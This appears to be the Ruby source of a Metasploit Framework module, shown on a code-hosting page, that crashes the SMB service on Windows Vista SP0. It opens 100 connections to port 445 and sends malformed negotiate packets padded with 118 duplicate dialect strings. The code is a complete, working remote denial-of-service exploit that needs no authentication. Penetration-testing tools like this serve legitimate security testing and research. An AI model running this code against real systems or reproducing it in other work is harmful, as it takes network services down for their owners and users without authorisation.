Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Dos
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
16
'Description' => %q{
17
This module exploits a flaw in Windows Vista that allows a remote
18
unauthenticated attacker to disable the SMB service. This vulnerability
19
was silently fixed in Microsoft Vista Service Pack 1.
20
},
21
22
'Author' => [ 'hdm' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'OSVDB', '64341'],
26
],
27
'Notes' => {
28
'Stability' => [CRASH_SERVICE_DOWN],
29
'SideEffects' => [],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options([Opt::RPORT(445)])
36
end
37
38
def run
39
print_status('Sending 100 negotiate requests...')
40
41
# 100 requests ensure that the bug is reliably hit
42
1.upto(100) do |i|
43
connect
44
45
# 118 dialects are needed to trigger a non-response
46
dialects = ['NT LM 0.12'] * 118
47
48
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
49
50
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
51
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
52
pkt['Payload']['SMB'].v['Flags1'] = 0x18
53
pkt['Payload']['SMB'].v['Flags2'] = 0xc853
54
pkt['Payload'].v['Payload'] = data
55
pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
56
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
57
58
sock.put(pkt.to_s)
59
60
disconnect
61
rescue ::Interrupt
62
raise $ERROR_INFO
63
rescue StandardError
64
print_error("Error at iteration #{i}: #{$ERROR_INFO.class} #{$ERROR_INFO}")
65
break
66
end
67
end
68
end
69
70